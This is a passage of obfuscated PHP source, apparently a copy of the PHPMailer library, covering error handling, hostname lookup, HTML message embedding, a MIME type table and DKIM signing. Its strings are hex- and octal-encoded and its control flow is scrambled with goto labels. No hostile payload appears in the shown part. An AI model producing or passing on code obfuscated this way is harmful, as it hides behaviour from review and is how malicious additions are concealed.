$qDkkQ .= "\40\123\x4d\124\x50\x20\x63\x6f\x64\x65\72\40" . $EKDcB["\x73\x6d\164\160\x5f\143\x6f\144\145"];
MHjoX:
if (empty($EKDcB["\163\x6d\x74\x70\x5f\x63\157\144\145\x5f\145\x78"])) {
goto ItMXH;
}
$qDkkQ .= "\40\x41\144\144\151\164\x69\x6f\x6e\141\154\x20\123\115\x54\x50\40\x69\156\146\x6f\x3a\40" . $EKDcB["\163\155\164\160\137\x63\x6f\144\x65\x5f\x65\x78"];
ItMXH:
wxS4z:
a5IGB:
$this->ErrorInfo = $qDkkQ;
}
public static function rfcDate()
{
date_default_timezone_set(@date_default_timezone_get());
return date("\x44\54\x20\x6a\x20\115\x20\x59\40\x48\72\x69\72\163\40\117");
}
protected function serverHostname()
{
$FqysX = "\154\157\143\x61\154\x68\157\163\x74\56\154\157\x63\141\154\144\157\155\141\151\156";
if (!empty($this->Hostname)) {
goto Eb5jD;
}
if (isset($_SERVER) and array_key_exists("\123\105\x52\126\105\122\137\x4e\x41\x4d\105", $_SERVER) and !empty($_SERVER["\x53\x45\122\126\105\x52\x5f\x4e\101\115\x45"])) {
goto ZpfAP;
}
if (function_exists("\x67\145\164\x68\x6f\163\x74\156\141\155\x65") && gethostname() !== false) {
goto DNtfL;
}
if (php_uname("\156") !== false) {
goto A2gvb;
}
goto Z_Wef;
Eb5jD:
$FqysX = $this->Hostname;
goto Z_Wef;
ZpfAP:
$FqysX = $_SERVER["\x53\x45\x52\126\x45\122\137\x4e\x41\115\105"];
goto Z_Wef;
DNtfL:
$FqysX = gethostname();
goto Z_Wef;
A2gvb:
$FqysX = php_uname("\156");
Z_Wef:
return $FqysX;
}
protected function lang($Ni2mI)
{
if (!(count($this->language) < 1)) {
goto IrE8y;
}
$this->setLanguage("\x65\156");
IrE8y:
if (array_key_exists($Ni2mI, $this->language)) {
goto zTUL9;
}
return $Ni2mI;
goto ZbCOO;
zTUL9:
if (!($Ni2mI == "\163\x6d\164\160\x5f\143\x6f\156\156\145\x63\164\137\146\141\151\154\x65\x64")) {
goto MY2OI;
}
return $this->language[$Ni2mI] . "\x20\150\x74\164\x70\163\72\x2f\x2f\147\x69\x74\x68\165\x62\56\143\x6f\x6d\57\x50\x48\x50\x4d\141\x69\154\145\x72\x2f\x50\x48\x50\x4d\x61\x69\x6c\x65\x72\57\x77\x69\x6b\151\x2f\124\x72\x6f\x75\x62\x6c\x65\163\x68\157\157\164\x69\156\147";
MY2OI:
return $this->language[$Ni2mI];
ZbCOO:
}
public function isError()
{
return $this->error_count > 0;
}
public function fixEOL($xyy5m)
{
$IRNH_ = str_replace(array("\xd\12", "\15"), "\12", $xyy5m);
if (!($this->LE !== "\xa")) {
goto ZvcJd;
}
$IRNH_ = str_replace("\12", $this->LE, $IRNH_);
ZvcJd:
return $IRNH_;
}
public function addCustomHeader($lYmCQ, $Nqx68 = null)
{
if ($Nqx68 === null) {
goto rbecf;
}
$this->CustomHeader[] = array($lYmCQ, $Nqx68);
goto ZrFEG;
rbecf:
$this->CustomHeader[] = explode("\x3a", $lYmCQ, 2);
ZrFEG:
}
public function getCustomHeaders()
{
return $this->CustomHeader;
}
public function msgHTML($hipuw, $t0ZMi = '', $BlXNm = false)
{
preg_match_all("\x2f\x28\x73\162\143\x7c\x62\x61\x63\x6b\147\162\157\165\156\144\x29\75\x5b\42\47\135\50\56\x2a\x29\x5b\42\x27\135\x2f\x55\x69", $hipuw, $gBtmH);
if (!array_key_exists(2, $gBtmH)) {
goto u5l8h;
}
if (!(strlen($t0ZMi) > 1 && substr($t0ZMi, -1) != "\x2f")) {
goto zQ86r;
}
$t0ZMi .= "\57";
zQ86r:
foreach ($gBtmH[2] as $SEvzT => $NnWet) {
if (!preg_match("\x23\x5e\144\x61\x74\x61\x3a\50\x69\x6d\x61\147\145\133\136\73\x2c\x5d\52\x29\50\x3b\142\x61\x73\x65\x36\64\x29\77\54\43", $NnWet, $oVtXJ)) {
goto CAreb;
}
$krEUX = substr($NnWet, strpos($NnWet, "\54"));
if ($oVtXJ[2]) {
goto pXiYh;
}
$krEUX = rawurldecode($krEUX);
goto PTRyn;
pXiYh:
$krEUX = base64_decode($krEUX);
PTRyn:
$rQQOK = md5($NnWet) . "\x40\160\x68\x70\x6d\x61\x69\154\145\162\x2e\x30";
if (!$this->addStringEmbeddedImage($krEUX, $rQQOK, "\x65\155\x62\x65\x64" . $SEvzT, "\142\x61\163\x65\66\64", $oVtXJ[1])) {
goto eWIZy;
}
$hipuw = str_replace($gBtmH[0][$SEvzT], $gBtmH[1][$SEvzT] . "\75\x22\143\151\x64\x3a" . $rQQOK . "\42", $hipuw);
eWIZy:
goto JQBDf;
CAreb:
if (!(!empty($t0ZMi) && strpos($NnWet, "\56\x2e") === false && substr($NnWet, 0, 4) !== "\x63\x69\144\x3a" && !preg_match("\x23\x5e\133\141\x2d\x7a\135\133\x61\55\x7a\x30\55\x39\53\56\55\135\52\72\x3f\x2f\x2f\43\x69", $NnWet))) {
goto febT4;
}
$w7o6u = basename($NnWet);
$Loz5i = dirname($NnWet);
if (!($Loz5i == "\x2e")) {
goto q8r8G;
}
$Loz5i = '';
q8r8G:
$rQQOK = md5($NnWet) . "\100\160\150\160\155\141\151\x6c\x65\x72\56\60";
if (!(strlen($Loz5i) > 1 && substr($Loz5i, -1) != "\57")) {
goto oZY6W;
}
$Loz5i .= "\57";
oZY6W:
if (!$this->addEmbeddedImage($t0ZMi . $Loz5i . $w7o6u, $rQQOK, $w7o6u, "\x62\x61\163\145\x36\x34", self::_mime_types((string) self::mb_pathinfo($w7o6u, PATHINFO_EXTENSION)))) {
goto aUAly;
}
$hipuw = preg_replace("\57" . $gBtmH[1][$SEvzT] . "\75\133\x22\47\x5d" . preg_quote($NnWet, "\57") . "\x5b\42\47\x5d\57\x55\151", $gBtmH[1][$SEvzT] . "\75\x22\x63\151\144\x3a" . $rQQOK . "\x22", $hipuw);
aUAly:
febT4:
JQBDf:
}
l39QH:
u5l8h:
$this->isHTML(true);
$this->Body = $this->normalizeBreaks($hipuw);
$this->AltBody = $this->normalizeBreaks($this->html2text($hipuw, $BlXNm));
if ($this->alternativeExists()) {
goto E3sxX;
}
$this->AltBody = "\124\157\40\166\x69\145\x77\x20\164\x68\x69\163\x20\145\155\x61\x69\154\40\x6d\x65\163\x73\141\x67\x65\x2c\40\x6f\160\x65\156\40\x69\x74\x20\x69\156\x20\x61\x20\160\x72\x6f\147\162\141\155\40\164\x68\141\164\40\x75\156\x64\145\162\163\164\x61\156\x64\163\40\x48\x54\x4d\114\x21" . self::CRLF . self::CRLF;
E3sxX:
return $this->Body;
}
public function html2text($Nxha4, $BlXNm = false)
{
if (!is_callable($BlXNm)) {
goto oA0c4;
}
return call_user_func($BlXNm, $Nxha4);
oA0c4:
return html_entity_decode(trim(strip_tags(preg_replace("\x2f\x3c\50\x68\x65\x61\144\174\x74\151\x74\154\x65\174\163\x74\171\154\145\174\x73\x63\x72\151\x70\164\51\133\x5e\76\135\52\76\x2e\x2a\x3f\74\x5c\57\134\61\x3e\x2f\x73\x69", '', $Nxha4))), ENT_QUOTES, $this->CharSet);
}
public static function _mime_types($clj_h = '')
{
$t_iGe = array("\x78\154" => "\141\160\160\x6c\151\x63\141\164\151\157\x6e\57\x65\170\143\145\154", "\152\x73" => "\141\160\160\154\x69\143\141\x74\x69\x6f\x6e\57\152\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x68\161\x78" => "\141\160\x70\154\151\x63\x61\x74\x69\x6f\156\x2f\155\141\143\x2d\x62\151\x6e\x68\x65\x78\x34\x30", "\x63\160\164" => "\141\160\160\154\151\143\141\x74\151\157\x6e\x2f\x6d\141\143\55\x63\157\x6d\x70\x61\143\x74\x70\x72\x6f", "\142\x69\x6e" => "\141\160\160\x6c\151\143\x61\164\151\x6f\x6e\x2f\155\x61\x63\142\x69\x6e\141\x72\x79", "\144\157\143" => "\x61\x70\x70\154\151\x63\141\164\x69\157\x6e\x2f\x6d\163\167\157\x72\x64", "\167\x6f\162\144" => "\x61\160\x70\154\151\x63\x61\x74\x69\157\156\x2f\155\163\x77\157\162\x64", "\170\x6c\x73\x78" => "\141\160\160\154\151\x63\x61\164\151\157\156\x2f\166\x6e\x64\x2e\x6f\160\145\x6e\170\155\x6c\x66\x6f\162\155\x61\x74\163\x2d\157\146\x66\151\x63\x65\x64\x6f\143\x75\x6d\x65\156\164\x2e\163\160\162\145\141\x64\x73\150\x65\x65\164\x6d\x6c\56\163\150\145\x65\x74", "\x78\x6c\164\x78" => "\x61\x70\160\154\151\x63\x61\x74\151\x6f\x6e\57\x76\156\x64\x2e\x6f\x70\x65\x6e\x78\155\154\146\157\x72\x6d\141\164\163\55\x6f\x66\146\151\x63\145\x64\157\143\x75\x6d\145\x6e\x74\x2e\163\x70\x72\x65\x61\144\163\150\145\x65\164\x6d\x6c\x2e\164\145\155\x70\154\141\164\x65", "\160\157\x74\x78" => "\x61\160\160\x6c\x69\143\x61\164\151\157\156\x2f\166\156\x64\x2e\157\160\x65\x6e\170\155\x6c\x66\x6f\x72\155\x61\164\163\x2d\157\x66\146\x69\143\x65\x64\x6f\143\165\x6d\145\156\x74\56\160\162\x65\163\x65\x6e\x74\141\164\x69\x6f\156\155\154\x2e\x74\145\155\160\154\141\164\x65", "\x70\160\x73\x78" => "\141\160\160\154\x69\143\141\164\151\157\156\x2f\x76\156\x64\x2e\x6f\x70\x65\x6e\x78\x6d\x6c\x66\x6f\162\155\x61\164\x73\55\157\x66\146\151\x63\x65\x64\x6f\143\x75\155\x65\x6e\164\56\x70\x72\x65\x73\145\x6e\x74\x61\164\151\157\156\155\154\56\163\154\x69\144\x65\x73\x68\157\x77", "\160\x70\x74\x78" => "\141\160\x70\x6c\x69\143\141\164\151\157\156\x2f\166\156\144\x2e\x6f\160\145\156\x78\155\x6c\x66\157\x72\x6d\x61\x74\163\x2d\x6f\x66\x66\x69\x63\145\x64\157\143\x75\155\x65\156\x74\56\160\x72\x65\x73\145\x6e\164\141\x74\151\157\156\x6d\x6c\56\x70\162\145\x73\x65\156\x74\x61\164\x69\x6f\x6e", "\163\x6c\x64\x78" => "\x61\160\160\154\x69\x63\141\x74\x69\x6f\x6e\57\x76\156\144\x2e\157\160\x65\x6e\170\155\154\146\157\x72\x6d\141\164\163\x2d\x6f\146\x66\x69\x63\145\x64\157\x63\x75\x6d\145\x6e\164\x2e\160\x72\145\x73\x65\156\x74\x61\x74\x69\157\x6e\155\154\x2e\163\x6c\151\x64\x65", "\x64\x6f\143\170" => "\141\x70\x70\x6c\x69\x63\x61\164\151\157\x6e\x2f\166\x6e\144\x2e\x6f\160\145\156\170\x6d\154\x66\157\162\155\141\x74\x73\x2d\157\146\146\151\x63\145\x64\x6f\143\165\155\x65\156\x74\x2e\167\x6f\162\x64\160\162\x6f\143\145\x73\x73\151\156\147\x6d\x6c\x2e\144\157\143\165\155\145\x6e\x74", "\x64\157\x74\170" => "\x61\160\160\x6c\x69\143\141\x74\151\157\x6e\x2f\166\156\144\56\157\x70\145\156\170\155\x6c\x66\157\x72\155\x61\164\163\x2d\x6f\x66\146\x69\x63\x65\x64\157\x63\165\155\x65\156\x74\x2e\167\x6f\x72\144\160\x72\x6f\x63\x65\x73\163\x69\x6e\147\155\x6c\x2e\164\145\155\160\154\x61\164\x65", "\170\x6c\x61\155" => "\x61\160\160\154\151\x63\141\164\151\157\156\57\x76\x6e\144\56\155\x73\55\x65\170\x63\x65\154\x2e\x61\144\144\x69\156\56\x6d\141\143\162\157\105\x6e\141\142\154\x65\144\x2e\x31\x32", "\x78\x6c\x73\142" => "\x61\160\160\154\151\x63\x61\x74\x69\157\156\57\166\156\144\x2e\x6d\x73\x2d\x65\170\143\x65\154\x2e\163\150\x65\145\x74\56\x62\x69\156\x61\162\x79\x2e\155\x61\143\162\x6f\105\156\x61\142\154\145\144\x2e\x31\62", "\x63\154\x61\163\163" => "\x61\x70\160\x6c\x69\143\x61\x74\x69\x6f\x6e\x2f\x6f\x63\164\x65\164\x2d\x73\x74\x72\145\x61\155", "\144\154\154" => "\x61\160\160\154\x69\x63\141\x74\151\x6f\x6e\57\157\x63\164\x65\164\55\x73\x74\x72\145\141\x6d", "\144\155\x73" => "\141\x70\160\x6c\x69\143\x61\x74\x69\157\x6e\x2f\x6f\x63\x74\x65\x74\55\x73\164\x72\x65\141\x6d", "\145\x78\x65" => "\x61\x70\160\x6c\x69\x63\x61\x74\x69\157\156\57\157\x63\x74\145\x74\55\x73\x74\162\x65\141\155", "\x6c\x68\x61" => "\141\x70\x70\154\151\x63\141\x74\x69\x6f\x6e\x2f\x6f\x63\x74\145\164\x2d\163\x74\x72\145\x61\155", "\154\172\x68" => "\141\x70\x70\x6c\151\143\x61\x74\151\x6f\156\57\x6f\143\164\145\x74\x2d\x73\x74\x72\145\x61\155", "\160\x73\x64" => "\x61\x70\x70\x6c\151\143\x61\164\x69\x6f\156\57\157\x63\164\x65\x74\55\x73\x74\x72\x65\141\x6d", "\163\145\x61" => "\141\x70\160\x6c\151\x63\x61\164\x69\x6f\x6e\57\x6f\143\164\x65\164\55\163\x74\162\x65\141\155", "\x73\x6f" => "\141\160\x70\154\x69\x63\141\164\x69\x6f\156\x2f\157\143\164\x65\x74\x2d\x73\x74\162\x65\x61\155", "\157\x64\x61" => "\141\160\x70\154\x69\143\x61\x74\151\x6f\156\57\157\x64\141", "\160\x64\146" => "\x61\160\160\154\x69\143\141\164\x69\157\x6e\57\160\x64\x66", "\141\151" => "\141\160\160\154\x69\x63\x61\164\x69\157\156\x2f\160\x6f\163\x74\163\x63\162\x69\x70\x74", "\x65\160\x73" => "\141\160\x70\154\151\x63\141\164\x69\157\156\57\x70\157\x73\164\163\x63\162\x69\x70\164", "\160\x73" => "\x61\160\x70\x6c\151\143\x61\164\x69\x6f\156\57\160\x6f\163\x74\163\x63\x72\x69\160\164", "\163\x6d\151" => "\141\160\160\154\151\x63\x61\x74\151\157\x6e\57\x73\x6d\x69\x6c", "\163\x6d\151\154" => "\141\x70\x70\154\151\143\x61\x74\x69\157\156\57\163\x6d\x69\154", "\155\x69\x66" => "\x61\160\x70\154\151\143\x61\x74\x69\x6f\x6e\x2f\x76\x6e\x64\x2e\x6d\151\146", "\x78\x6c\163" => "\141\160\160\x6c\151\x63\141\164\x69\157\x6e\57\x76\156\x64\x2e\155\x73\55\145\x78\143\x65\154", "\160\160\164" => "\141\x70\160\x6c\151\x63\141\164\x69\x6f\156\x2f\x76\156\x64\x2e\155\163\55\x70\157\x77\145\x72\160\157\x69\x6e\164", "\167\x62\170\155\x6c" => "\141\x70\160\154\x69\143\x61\164\151\x6f\x6e\57\166\x6e\144\56\167\141\160\56\167\142\170\155\x6c", "\x77\x6d\154\143" => "\141\x70\x70\x6c\x69\143\141\x74\151\x6f\x6e\57\x76\x6e\144\x2e\x77\141\x70\56\x77\x6d\x6c\143", "\144\x63\162" => "\x61\160\160\154\x69\x63\141\164\151\x6f\156\57\170\x2d\x64\151\162\145\143\164\157\x72", "\144\151\x72" => "\141\x70\160\x6c\151\143\141\x74\151\x6f\156\57\x78\x2d\x64\151\x72\x65\x63\x74\x6f\162", "\144\170\162" => "\x61\160\160\x6c\151\x63\141\164\x69\x6f\156\x2f\170\x2d\144\x69\162\x65\143\x74\x6f\x72", "\x64\166\x69" => "\141\160\160\154\x69\143\x61\164\x69\x6f\156\57\x78\x2d\x64\x76\151", "\147\164\141\x72" => "\x61\160\160\x6c\x69\143\141\164\151\157\x6e\x2f\x78\55\x67\x74\141\x72", "\x70\x68\x70\x33" => "\x61\x70\x70\x6c\x69\143\x61\x74\151\157\156\57\170\55\150\164\164\x70\144\55\x70\x68\160", "\x70\x68\x70\64" => "\141\x70\x70\x6c\x69\143\141\164\151\x6f\156\x2f\170\55\150\x74\164\160\144\55\160\150\160", "\x70\x68\160" => "\141\x70\x70\154\151\x63\x61\x74\x69\x6f\x6e\57\x78\55\150\164\164\160\x64\55\160\150\160", "\x70\150\164\x6d\154" => "\141\160\x70\x6c\x69\x63\x61\164\x69\x6f\156\57\x78\55\x68\x74\164\x70\x64\x2d\160\150\160", "\x70\x68\160\163" => "\141\x70\x70\154\151\x63\x61\164\151\157\156\x2f\x78\x2d\150\164\164\160\x64\x2d\x70\x68\160\55\163\157\x75\162\x63\x65", "\x73\167\x66" => "\141\160\160\x6c\151\143\x61\x74\x69\157\156\57\170\x2d\163\x68\157\x63\x6b\x77\141\166\x65\x2d\146\154\x61\163\x68", "\x73\x69\164" => "\x61\160\160\x6c\x69\x63\141\x74\151\x6f\x6e\x2f\170\x2d\x73\x74\x75\x66\146\151\164", "\164\x61\x72" => "\141\x70\x70\154\x69\143\141\164\x69\x6f\x6e\x2f\x78\55\x74\141\162", "\164\x67\x7a" => "\141\160\160\x6c\151\143\141\164\x69\157\156\x2f\170\x2d\164\x61\x72", "\170\150\x74" => "\x61\160\x70\154\x69\x63\141\x74\x69\x6f\x6e\57\x78\x68\x74\155\154\x2b\170\x6d\154", "\x78\x68\x74\155\154" => "\141\160\160\154\x69\143\x61\164\151\x6f\x6e\x2f\x78\150\x74\x6d\x6c\53\x78\155\x6c", "\172\x69\160" => "\x61\160\x70\x6c\151\143\141\164\151\157\x6e\x2f\x7a\x69\x70", "\x6d\151\144" => "\141\x75\x64\151\157\57\x6d\x69\144\x69", "\155\151\x64\x69" => "\141\165\x64\151\157\x2f\155\151\x64\x69", "\x6d\x70\62" => "\141\x75\144\151\157\57\155\x70\145\147", "\155\x70\x33" => "\141\x75\144\x69\x6f\57\x6d\160\145\x67", "\155\x70\x67\x61" => "\141\x75\144\x69\157\x2f\155\160\145\x67", "\x61\151\146" => "\141\x75\x64\151\x6f\x2f\x78\x2d\x61\x69\x66\x66", "\x61\151\146\143" => "\x61\165\144\151\x6f\57\x78\x2d\141\x69\x66\x66", "\x61\151\146\146" => "\141\165\144\151\157\57\x78\55\141\x69\x66\146", "\162\141\x6d" => "\141\x75\144\x69\x6f\x2f\x78\x2d\160\156\x2d\162\145\x61\x6c\141\165\x64\151\x6f", "\x72\155" => "\x61\x75\144\151\157\57\170\x2d\x70\156\x2d\162\145\141\154\x61\x75\144\151\x6f", "\x72\160\x6d" => "\141\x75\144\x69\157\x2f\x78\55\160\156\55\162\145\141\x6c\141\x75\x64\151\157\55\160\x6c\165\147\151\156", "\162\141" => "\x61\165\x64\151\157\57\170\x2d\162\145\141\x6c\141\165\144\151\x6f", "\167\141\166" => "\141\165\x64\151\157\x2f\170\55\167\x61\166", "\x62\x6d\x70" => "\x69\x6d\x61\x67\x65\57\x62\x6d\x70", "\x67\151\146" => "\151\x6d\x61\147\x65\57\x67\151\146", "\152\x70\145\x67" => "\151\x6d\141\147\x65\57\152\x70\x65\147", "\152\160\x65" => "\x69\x6d\x61\x67\145\x2f\x6a\x70\145\x67", "\152\x70\147" => "\x69\x6d\141\147\x65\x2f\x6a\160\145\147", "\160\x6e\x67" => "\151\155\x61\147\x65\57\160\156\147", "\x74\x69\146\146" => "\151\x6d\x61\x67\145\x2f\x74\151\146\146", "\164\x69\146" => "\151\x6d\141\147\x65\x2f\164\151\x66\146", "\x65\155\x6c" => "\155\145\163\163\141\x67\145\57\x72\146\143\70\62\62", "\143\163\163" => "\164\145\x78\x74\57\x63\x73\163", "\150\164\155\x6c" => "\x74\x65\170\x74\x2f\x68\164\155\154", "\x68\164\155" => "\164\145\170\x74\x2f\x68\164\155\154", "\x73\x68\164\x6d\x6c" => "\x74\145\170\x74\57\x68\x74\x6d\x6c", "\x6c\157\x67" => "\164\x65\x78\164\x2f\x70\x6c\x61\x69\x6e", "\x74\x65\170\164" => "\164\x65\x78\164\57\x70\x6c\x61\151\x6e", "\x74\x78\x74" => "\164\x65\170\x74\x2f\160\x6c\x61\151\156", "\x72\x74\170" => "\x74\145\170\164\57\x72\151\x63\x68\x74\145\x78\164", "\162\x74\146" => "\x74\145\170\164\x2f\x72\x74\146", "\x76\143\146" => "\x74\145\x78\164\57\x76\x63\x61\x72\x64", "\x76\143\141\x72\144" => "\164\x65\170\x74\57\166\143\141\162\x64", "\170\x6d\x6c" => "\x74\x65\x78\164\x2f\x78\x6d\x6c", "\170\x73\x6c" => "\164\145\x78\x74\x2f\x78\155\154", "\155\x70\x65\x67" => "\x76\151\x64\145\x6f\x2f\x6d\160\145\147", "\x6d\x70\x65" => "\x76\x69\x64\x65\x6f\57\155\x70\x65\147", "\x6d\x70\x67" => "\166\151\x64\x65\157\x2f\x6d\x70\145\x67", "\x6d\x6f\166" => "\x76\151\x64\145\x6f\57\x71\165\151\x63\x6b\164\x69\155\x65", "\x71\x74" => "\x76\151\x64\x65\x6f\x2f\161\165\x69\x63\153\x74\x69\x6d\x65", "\x72\x76" => "\166\151\x64\x65\157\57\x76\156\144\56\x72\x6e\x2d\162\145\141\154\166\x69\144\145\157", "\x61\x76\151" => "\166\x69\144\x65\157\x2f\170\x2d\155\163\166\x69\144\145\157", "\x6d\157\166\151\x65" => "\x76\151\144\145\157\x2f\x78\x2d\x73\x67\x69\x2d\155\157\x76\151\x65");
if (!array_key_exists(strtolower($clj_h), $t_iGe)) {
goto s9I9u;
}
return $t_iGe[strtolower($clj_h)];
s9I9u:
return "\x61\160\160\x6c\x69\x63\x61\164\x69\x6f\156\57\157\143\164\145\x74\x2d\163\x74\162\x65\x61\x6d";
}
public static function filenameToType($w7o6u)
{
$MrV0J = strpos($w7o6u, "\77");
if (!(false !== $MrV0J)) {
goto OZcnZ;
}
$w7o6u = substr($w7o6u, 0, $MrV0J);
OZcnZ:
$ccMRM = self::mb_pathinfo($w7o6u);
return self::_mime_types($ccMRM["\x65\x78\164\145\156\163\x69\x6f\156"]);
}
public static function mb_pathinfo($knUNi, $wRamM = null)
{
$JIffV = array("\144\151\162\156\x61\x6d\145" => '', "\x62\x61\x73\145\156\x61\155\145" => '', "\x65\x78\164\145\x6e\x73\151\157\156" => '', "\146\151\x6c\145\156\x61\x6d\145" => '');
$ccMRM = array();
if (!preg_match("\45\136\x28\56\x2a\77\51\x5b\134\x5c\57\135\x2a\50\50\133\x5e\x2f\x5c\134\x5d\x2a\x3f\x29\50\134\x2e\x28\133\x5e\134\x2e\134\134\57\x5d\53\x3f\x29\174\51\51\x5b\x5c\134\x2f\134\x2e\135\x2a\44\x25\x69\155", $knUNi, $ccMRM)) {
goto uv890;
}
if (!array_key_exists(1, $ccMRM)) {
goto Xt81f;
}
$JIffV["\x64\x69\162\156\141\x6d\x65"] = $ccMRM[1];
Xt81f:
if (!array_key_exists(2, $ccMRM)) {
goto Krskr;
}
$JIffV["\x62\x61\163\x65\156\x61\x6d\145"] = $ccMRM[2];
Krskr:
if (!array_key_exists(5, $ccMRM)) {
goto ToBj4;
}
$JIffV["\x65\x78\x74\x65\156\x73\151\157\x6e"] = $ccMRM[5];
ToBj4:
if (!array_key_exists(3, $ccMRM)) {
goto ieYpa;
}
$JIffV["\146\x69\x6c\145\x6e\141\155\145"] = $ccMRM[3];
ieYpa:
uv890:
switch ($wRamM) {
case PATHINFO_DIRNAME:
case "\144\x69\162\156\141\x6d\145":
return $JIffV["\x64\151\x72\156\x61\x6d\145"];
case PATHINFO_BASENAME:
case "\x62\141\x73\145\156\141\155\145":
return $JIffV["\x62\141\x73\145\x6e\141\x6d\145"];
case PATHINFO_EXTENSION:
case "\145\x78\x74\x65\x6e\x73\151\157\x6e":
return $JIffV["\145\170\x74\x65\x6e\163\151\x6f\x6e"];
case PATHINFO_FILENAME:
case "\146\x69\x6c\x65\156\x61\x6d\x65":
return $JIffV["\146\151\154\145\x6e\x61\x6d\145"];
default:
return $JIffV;
}
ayVCI:
n9YlY:
}
public function set($lYmCQ, $Nqx68 = '')
{
if (property_exists($this, $lYmCQ)) {
goto D15RA;
}
$this->setError($this->lang("\166\141\x72\x69\x61\142\154\145\x5f\163\145\x74") . $lYmCQ);
return false;
goto tur2p;
D15RA:
$this->{$lYmCQ} = $Nqx68;
return true;
tur2p:
}
public function secureHeader($xyy5m)
{
return trim(str_replace(array("\15", "\12"), '', $xyy5m));
}
public static function normalizeBreaks($ROGyB, $FFr3P = "\xd\xa")
{
return preg_replace("\x2f\50\134\162\134\x6e\x7c\134\162\x7c\134\156\x29\x2f\155\x73", $FFr3P, $ROGyB);
}
public function sign($vRUdY, $Zqegj, $yC3gG, $gEMsB = '')
{
$this->sign_cert_file = $vRUdY;
$this->sign_key_file = $Zqegj;
$this->sign_key_pass = $yC3gG;
$this->sign_extracerts_file = $gEMsB;
}
public function DKIM_QP($h2PfI)
{
$LEkO6 = '';
$Ky6GK = 0;
fvXh_:
if (!($Ky6GK < strlen($h2PfI))) {
goto O4UJe;
}
$EqnrV = ord($h2PfI[$Ky6GK]);
if (0x21 <= $EqnrV && $EqnrV <= 0x3a || $EqnrV == 0x3c || 0x3e <= $EqnrV && $EqnrV <= 0x7e) {
goto nypsx;
}
$LEkO6 .= "\x3d" . sprintf("\45\x30\x32\x58", $EqnrV);
goto PNRXu;
nypsx:
$LEkO6 .= $h2PfI[$Ky6GK];
PNRXu:
ZGIZF:
$Ky6GK++;
goto fvXh_;
O4UJe:
return $LEkO6;
}
public function DKIM_Sign($SRGN8)
{
if (defined("\120\x4b\x43\x53\x37\x5f\x54\105\130\124")) {
goto magCt;
}
if (!$this->exceptions) {
goto daIJO;
}
throw new phpmailerException($this->lang("\145\x78\164\145\156\x73\x69\x6f\156\x5f\155\151\x73\x73\x69\156\x67") . "\157\160\145\x6e\163\163\154");
daIJO:
return '';
magCt:
$nwtgd = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
if ('' != $this->DKIM_passphrase) {
goto vhLX4;
}
$fH2FV = openssl_pkey_get_private($nwtgd);
goto JwLqG;
vhLX4:
$fH2FV = openssl_pkey_get_private($nwtgd, $this->DKIM_passphrase);
JwLqG:
if (version_compare(PHP_VERSION, "\65\56\63\x2e\x30") >= 0 and in_array("\163\150\x61\62\x35\66\127\151\164\150\x52\x53\x41\105\156\x63\162\x79\x70\x74\151\157\156", openssl_get_md_methods(true))) {
goto nabU_;
}
$GJL7w = openssl_pkey_get_details($fH2FV);
$d_bXW = hash("\x73\x68\141\62\x35\66", $SRGN8);
$wzxXH = "\x33\x30\63\61\x33\60\60\x64\x30\66\x30\x39\66\x30\70\x36\64\x38\x30\61\66\65\x30\x33\60\x34\60\62\60\61\x30\65\60\60\60\x34\62\x30" . $d_bXW;
$nBXVQ = $GJL7w["\x62\x69\x74\x73"] / 8 - (strlen($wzxXH) / 2 + 3);
$KgY61 = pack("\x48\52", "\x30\60\60\61" . str_repeat("\106\x46", $nBXVQ) . "\60\x30" . $wzxXH);
if (!openssl_private_encrypt($KgY61, $dK7PK, $fH2FV, OPENSSL_NO_PADDING)) {
goto AEXe3;
}
openssl_pkey_free($fH2FV);
return base64_encode($dK7PK);
AEXe3:
goto VgWUv;
nabU_:
if (!openssl_sign($SRGN8, $dK7PK, $fH2FV, "\x73\x68\x61\x32\x35\x36\x57\151\164\x68\x52\123\x41\x45\156\143\162\x79\160\164\151\157\x6e")) {
goto ITISx;
}
openssl_pkey_free($fH2FV);
return base64_encode($dK7PK);
ITISx:
VgWUv:
openssl_pkey_free($fH2FV);
return '';
}
public function DKIM_HeaderC($SRGN8)
{
$SRGN8 = preg_replace("\x2f\x5c\162\x5c\x6e\134\x73\x2b\x2f", "\x20", $SRGN8);
$lhpQn = explode("\15\xa", $SRGN8);
foreach ($lhpQn as $Ni2mI => $LEkO6) {
list($ZuQu9, $Nqx68) = explode("\x3a", $LEkO6, 2);
$ZuQu9 = strtolower($ZuQu9);
$Nqx68 = preg_replace("\x2f\x5c\163\173\x32\x2c\x7d\57", "\40", $Nqx68);
$lhpQn[$Ni2mI] = $ZuQu9 . "\72" . trim($Nqx68);
bkfdr:
}
t2c7l:
$SRGN8 = implode("\xd\12", $lhpQn);
return $SRGN8;
}
public function DKIM_BodyC($DwsX3)
{
if (!($DwsX3 == '')) {
goto eyiws;
}
return "\15\12";
eyiws:
$DwsX3 = str_replace("\15\12", "\12", $DwsX3);
$DwsX3 = str_replace("\12", "\xd\xa", $DwsX3);
NcZXl:
if (!(substr($DwsX3, strlen($DwsX3) - 4, 4) == "\15\12\xd\xa")) {
goto DM0Km;
}
$DwsX3 = substr($DwsX3, 0, strlen($DwsX3) - 2);
goto NcZXl;
DM0Km:
return $DwsX3;
}
public function DKIM_Add($BSIGV, $O5Nl2, $DwsX3)
{
$cVEOu = "\162\x73\141\55\x73\150\141\x32\65\66";
$vW5wo = "\x72\x65\x6c\x61\170\145\144\57\x73\151\x6d\x70\x6c\145";
$oDNO8 = "\x64\156\x73\57\164\170\164";
$tx1bH = time();
$H89xN = "\x53\165\x62\152\x65\143\x74\x3a\x20{$O5Nl2}";
$Jxk_o = explode($this->LE, $BSIGV);
$uCtA6 = '';
$N9LfN = '';
$v9bIN = '';
$YVxOd = '';
foreach ($Jxk_o as $akbHB) {
if (strpos($akbHB, "\106\x72\x6f\x6d\72") === 0) {
goto hAvKA;
}
if (strpos($akbHB, "\124\157\72") === 0) {
goto A17iN;
}
if (strpos($akbHB, "\x44\141\x74\145\x3a") === 0) {
goto zOcY_;
}
if (!empty(${$YVxOd}) && strpos($akbHB, "\40\x3d\x3f") === 0) {
goto i8FZX;
}
$YVxOd = '';
goto Tf0C2;
i8FZX:
${$YVxOd} .= $akbHB;
Tf0C2:
goto i0YIr;
hAvKA:
$uCtA6 = $akbHB;
$YVxOd = "\146\162\157\155\137\150\x65\x61\144\x65\162";
goto i0YIr;
A17iN:
$N9LfN = $akbHB;
$YVxOd = "\164\157\137\x68\x65\x61\x64\145\162";
goto i0YIr;
zOcY_:
